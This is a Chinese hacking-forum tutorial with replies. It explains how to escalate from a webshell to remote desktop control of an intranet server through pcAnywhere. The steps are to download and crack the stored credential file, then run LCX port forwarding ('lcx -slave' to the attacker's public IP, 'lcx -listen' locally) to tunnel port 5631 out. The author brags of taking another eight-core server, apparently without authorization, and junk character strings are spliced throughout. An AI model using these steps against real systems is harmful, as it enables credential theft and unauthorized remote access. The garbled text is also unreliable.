[原创文章] pcanywhere之内网提权 pcanywhere

huar

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。" ~- d+ _% z" y3 C. ]. A
% l6 n% [. c; H- g7 J
提权方法：pcanywhere+LCX
0 r7 t6 ^  O; \1 O! x8 w
0 K) Q4 B: J% y! g8 y; I0 e* t/ E获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。* o) x; v$ B2 n$ l
/ c$ n% ]) i. K
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
* u4 P" }" b( W+ D( Q( g  z6 ^8 s  [
+ N1 Y! r& d: E1 a5 \* F7 e( Z# L0 N! [
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
# h- z5 a( ]% s$ u) r/ U, I  s# F/ Q, B& F6 l2 y

3 O- Y$ p1 e# u& l# A: D9 H呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。, V6 e* L) n* l2 {

& {+ k' \% G+ s  _6 x; n! X! ^, O  m' C$ T. u# g2 [* w$ N
* A: v6 y& {/ r! r

8 T9 f) \. e2 ?9 D0 f! m: F& q7 k由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
0 o  X9 |/ i& k( x4 v; t3 Z
! T( g* c1 l. m# Z' w" k8 _) a5 f
* R' V0 e! H, f" OLCX的用法再简单说下：
- @" o; L6 X! z1 ^4 _4 j6 T. t/ g) g
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
) t6 i# n# R" P0 M
! N9 R& T6 |2 i. R' a+ M* S1 J本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）" i& N& T1 @! k# g( {+ J- R* c

9 V# b9 E/ g! @4 |, j  p由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
5 W/ H! X* S$ w9 t顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``" w& I4 {: @4 y) n7 p0 Y: z" L

% x3 t/ f, t: x8 {
7 f4 y0 \& j) w" U( T* G
5 G1 c+ K6 S) ?" a4 }' |( \/ Q/ G& M3 U) `/ F
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
4 m% s9 c; |% c) g3 g# U" |: Y& Y4 H: \) @1 t

  g& t/ t+ f1 o; q# j0 [3 U; P* O8 F# A( F' w9 S3 N* \2 _7 ^& R4 L

* E7 z  v+ M; I1 n我们本地连接试试，输入我们刚破解的账号密码; A5 L2 U: p" ^+ \/ P

, ?5 w2 p" l1 p: ~5 M4 _6 A
* z; K, v  c& G6 O. B; \3 t. w呵呵``连接成功,服务器不错，又一个8核^︵^8 U3 W' B* E" O3 s# F" L2 r" T/ |

- A- c4 s# \5 I  |! K# i
/ ]) N  w% y! z  I+ L4 l
/ _! r3 |# L& Z* O. W; l$ x! y

killadmin

但是我反弹后连接总是不成功,试着转发5632,5631一起,还是不行.

柔肠寸断

顶起。。。。。。。。。

gassiori

八核的哟

huar

哎。。。。运气不佳```老碰见内网的。。。。

柔肠寸断

不错不错。。。你的貌似一直都是内网服务器哈